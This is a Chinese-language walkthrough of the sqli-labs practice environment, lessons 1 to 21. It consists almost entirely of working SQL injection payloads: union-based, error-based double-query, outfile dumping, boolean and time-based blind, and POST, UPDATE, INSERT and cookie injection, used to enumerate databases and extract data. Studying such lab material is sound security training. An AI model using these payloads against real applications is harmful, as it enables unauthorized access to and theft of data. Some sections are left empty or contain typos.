sqli labs通关秘籍
lesson 1
查看列数
id=1' order by 3
id=1' union select 1,2,3 --+
利用information_schema查询所有数据库名
?id=-1' union select 1,2,group_concat(distinct+table_schema) from information_schema.tables --+
根据数据库名查找表名
?id=-1' union select 1,2,table_name from information_schema.tables where table_schema = 'security' limit 1,1--+
根据表名查找列名
?id=-1' union select 1,2,column_name from information_schema.columns where table_schema='security'
and table_name='referers' limit 0,1--+
根据列名查询数据
?id=-1' union select 1,2,id from emails limit 4,1 --+
或者其他数据库中的数据，如test数据库qwe表：
?id=-1' union select 1,2,id from test.qwe limit 0,1 --+
lesson 2
提示为数字型
查看列数
?id=1 order by 3 --+
?id=1 union select 1,2,3 --+
查询所有数据库名
?id=-1 union select 1,2,group_concat(distinct+table_schema) from information_schema.tables --+
查询表名
?id=-1 union select 1,2,table_name from information_schema.tables where table_schema = 'security' limit 1,1--+
查询列名
?id=-1 union select 1,2,column_name from information_schema.columns where table_schema='security' limit 1,1 --+
查询数据
?id=-1 union select 1,2,id from emails limit 4,1 --+
或者其他数据库中的数据，如test数据库qwe表：
?id=-1 union select 1,2,id from test.qwe limit 0,1 --+
lesson 3
查看列数
?id=-1') union select 1,2,3 --+
?id=1') order by 3 --+
查看所有数据库名
?id=-1') union select 1,2,group_concat(distinct+table_schema) from information_schema.tables --+
根据数据库名查找表名
?id=-1') union select 1,2,table_name from information_schema.tables where table_schema = 'security' limit 1,1--+
根据表名查找列名
?id=-1') union select 1,2,column_name from information_schema.columns where table_schema='security'
and table_name='referers' limit 0,1--+
根据列名查询数据
?id=-1') union select 1,2,id from emails limit 4,1 --+
或者其他数据库中的数据，如test数据库qwe表：
?id=-1') union select 1,2,id from test.qwe limit 0,1 --+
lesson 4
查看列数
?id=-1") union select 1,2,3 --+
?id=1") order by 3 --+
查看所有数据库名
?id=-1") union select 1,2,group_concat(distinct+table_schema) from information_schema.tables --+
根据数据库名查找表名
?id=-1") union select 1,2,table_name from information_schema.tables where table_schema = 'security' limit 1,1--+
根据表名查找列名
?id=-1") union select 1,2,column_name from information_schema.columns where table_schema='security'
and table_name='referers' limit 0,1--+
根据列名查询数据
?id=-1") union select 1,2,id from emails limit 4,1 --+
或者其他数据库中的数据，如test数据库qwe表：
?id=-1") union select 1,2,id from test.qwe limit 0,1 --+
lesson 5
此题为基于报错的注入
注入之前的知识演练
select database();
select (select database());
select concat((select database()));
select concat(0x3a,0x3a,(select database()),0x3a,0x3a);
select concat(0x3a,0x3a,(select database()),0x3a,0x3a)as a;或者
select concat(0x3a,0x3a,(select database()),0x3a,0x3a)a;
select concat(0x3a,0x3a,(select database()),0x3a,0x3a,floor(rand()*2))a;
select concat(0x3a,0x3a,(select database()),0x3a,0x3a,floor(rand()*2))a from information_schema.columns;
select concat(0x3a,0x3a,(select database()),0x3a,0x3a,floor(rand()*2))a from information_schema.tables;
select count(*),concat(0x3a,0x3a,(select database()),0x3a,0x3a,floor(rand()*2))a from information_schema.columns group by a;
select count(*),concat(0x3a,0x3a,(select table_name from information_schema.tables where table_schema = database() limit 1,1),0x3a,0x3a,floor(rand()*2))a from information_schema.columns group by a
取数据库名:
?id=1' union select 1,count(*),concat(0x3a,(select distinct+table_schema limit 0,1),0x3a,floor(rand()*2))a from information_schema.tables group by a -- a
取表名:
?id=1' union select 1,count(*),concat(0x3a,0x3a,(select table_name from information_schema.tables where table_schema = 'security' limit 0,1),0x3a,0x3a,floor(rand()*2))a from information_schema.columns group by a -- a
取字段:
?id=1' union select 1,count(*),concat(0x3a,0x3a,(select column_name from information_schema.columns where table_schema='security' and table_name='emails' limit 0,1),0x3a,0x3a,floor(rand()*2))a from information_schema.columns group by a -- a
取数据:
?id=1' union select 1,count(*),concat(0x3a,0x3a,(select id from emails limit 0,1),0x3a,0x3a,floor(rand()*2))a from information_schema.columns group by a -- a
或者其他数据库（例如test数据库qwe表）的数据
?id=1' union select 1,count(*),concat(0x3a,0x3a,(select id from test.qwe limit 0,1),0x3a,0x3a,floor(rand()*2))a from information_schema.columns group by a -- a
lesson 6
取数据库名:
?id=1" union select 1,count(*),concat(0x3a,(select distinct+table_schema limit 0,1),0x3a,floor(rand()*2))a from information_schema.tables group by a -- a
取表名:
?id=1" union select 1,count(*),concat(0x3a,0x3a,(select table_name from information_schema.tables where table_schema = 'security' limit 0,1),0x3a,0x3a,floor(rand()*2))a from information_schema.columns group by a -- a
取字段:
?id=1" union select 1,count(*),concat(0x3a,0x3a,(select column_name from information_schema.columns where table_schema='security' and table_name='emails' limit 0,1),0x3a,0x3a,floor(rand()*2))a from information_schema.columns group by a -- a
取数据:
?id=1" union select 1,count(*),concat(0x3a,0x3a,(select id from emails limit 0,1),0x3a,0x3a,floor(rand()*2))a from information_schema.columns group by a -- a
或者其他数据库（例如test数据库qwe表）的数据
?id=1" union select 1,count(*),concat(0x3a,0x3a,(select id from test.qwe limit 0,1),0x3a,0x3a,floor(rand()*2))a from information_schema.columns group by a -- a
lesson 7 Dump into outfile
select * from users into outfile "E://newtest.txt";
取数据库名:
select database() into outfile "E://database.txt";
取表名:
select table_name from information_schema.tables where table_schema = database() into outfile "E://biaoming.txt";
取字段名:
select column_name from information_schema.columns where table_schema = database() and table_name = 'emails' into outfile "E://ziduanming.txt";
取值:
select id from emails into outfile "E://zhi.txt";
BLIND INJECTIONS - BOOLEAN BASED less8
select database();
select length(database());
select substring(database(),1,1);
取数据库:
select 1 and (select substring(database(),1,1))='s';
取表名:
select 1 and (select substring((select table_name from information_schema.tables where table_schema = 'security' limit 0,1),1,1))='e';
取字段名:
select 1 and (select substring((select column_name from information_schema.columns where table_schema='数据库名' and table_name='表名' limit 0,1),1,1))='e'
取值:
select 1 and (select substring((select id from emails limit 0,1),1,1))='s';
BLIND INJECTIONS - TIME BASED less 9
sleep()函数
select sleep(10);
if()函数
select if((select database())="security",sleep(3),null);
取数据库名:
select 1 union select if((select substring(database(),1,1))='s',sleep(3),null);
取表名:
select 1 union select if((select substring((select table_name from information_schema.tables where table_schema = database() limit 0,1),1,1))='s',sleep(3),null);
取字段:
select 1 union select if((select substring((select column_name from information_schema.columns where table_schema = database() and table_name = 'emails' limit 0,1),1,1))='i',sleep(3),null);
取值:
select 1 union select if((select substring((select id from emails limit 0,1),1,1))='1',sleep(3),null);
Post parameter injection less 12
了解:
select * from users where id>10 and 1=1;和
select * from users where id >10 or 1=1;的区别.
输入:
") OR 1=1 -- a
") OR 1=1 limit 0,1 -- a
") order by 2 -- a
取数据库名:
") union select 1,database() -- a
取表名:
") union select 1,table_name from information_schema.tables where table_schema = database() limit 0,1 -- a
less 14 POST parameter injection Double Query based
” or 1 #
select concat((select database()));
select concat('~',(select database()),'~',floor(rand(0)*2));
select concat('~',(select database()),'~',floor(rand(0)*2)) from information_schema.tables;
select (concat('~',(select database()),'~',floor(rand(0)*2)))a from information_schema.tables;
取数据库名:
select count(*),(concat('::',(select database()),'::',floor(rand(0)*2)))a from information_schema.tables group by a;
select 1 from (select count(*),(concat('~',(select database()),'~',floor(rand(0)*2)))a from information_schema.tables group by a)c;
取表名:
select 1 from (select count(*),(concat('~',(select database()),'~',floor(rand(0)*2)))a from information_schema.tables group by a)c;
取字段:
取值:
lession 17 update inject
update users set password='zhangzhengyi' where username='admin';
update users set password=' ' or 1=1 # where username='admin';
' and (select 1 from (select count(*),(concat('~',(select database()),'~',floor(rand(0)*2)))a from information_schema.tables group by a)c) #
取数据库名:
update test set 字段名='aa' where 字段名='bb' and (select 1 from (select count(*),(concat('~',(select database()),'~',floor(rand(0)*2)))a from information_schema.tables group by a)c);
less 18 insert sql inject
insert into users(username,password) values('shenmegui','dahaoren');
通过修改http表头信息,重新构建sql语句,达到注入的目的.
less 20 cookie inject
修改cookie值进行sql注入
admin' or 1=1#
admin' order by 4 #
admin' order by 3 #
admin' union select 1,2,3 #
' union select 1,2,3 #
' union select 1,database(),version() #
less 21 加密的cookie注入
base64解码
') union select 1.database(),current_user #